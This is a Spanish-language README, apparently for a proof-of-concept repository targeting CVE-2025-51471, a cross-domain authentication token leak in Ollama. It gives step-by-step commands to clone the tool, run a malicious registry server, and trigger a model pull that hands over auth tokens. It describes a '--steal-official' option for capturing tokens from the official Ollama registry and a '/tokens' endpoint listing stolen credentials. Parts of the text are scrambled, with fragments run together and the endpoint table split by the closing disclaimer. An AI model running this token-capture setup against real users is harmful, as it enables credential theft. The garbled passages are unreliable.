
Este PoC es solo con fines educativos y de pruebas de seguridad autorizadas. NO lo use contra sistemas que no le pertenezcan.
Autor: ajtazer
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-51471, una vulnerabilidad de Exposición de Token de Autenticación entre Dominios que afecta a todas las versiones de Ollama (incluyendo la más reciente).
Cuando Ollama descarga un modelo desde un servidor HTTPS que responde con 401 No autorizado, sigue la URL del realm del encabezado WWW-Authenticate sin validar si pertenece al mismo dominio[...]
Esto permite a un atacante:
401 con un encabezado WWW-Authenticate que apunte a un punto final controlado por el atacanteregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Usando la API curl
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# O usando el CLI de ollama
ollama pull --insecure localhost:8080/malicious/model
Demostré este PoC en un video corto — míralo aquí:
Nota (modo HTTPS en macOS): Si usas el modo HTTPS, agrega el certificado generado a tu llavero o usa el modo HTTP con
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Opciones:
--port, -p PORT Puerto de escucha (por defecto: 8080)
--no-ssl Usar HTTP en lugar de HTTPS
--steal-official, -s Redirigir para robar tokens de registry.ollama.ai
--no-verbose Deshabilitar salida detallada
| Punto final | Descripción |
|---|---|
/v2/* | Punto final de registro falso (desencadena el exploit) |
/v2/token |
Este PoC es solo para fines educativos y de pruebas de seguridad autorizadas. NO lo uses contra sistemas que no te pertenezcan.
Hecho con ❤️ usando Antigravity
| Punto final de captura de tokens |
/tokens | Ver todos los tokens capturados (JSON) |
/health | Verificación de estado del servidor |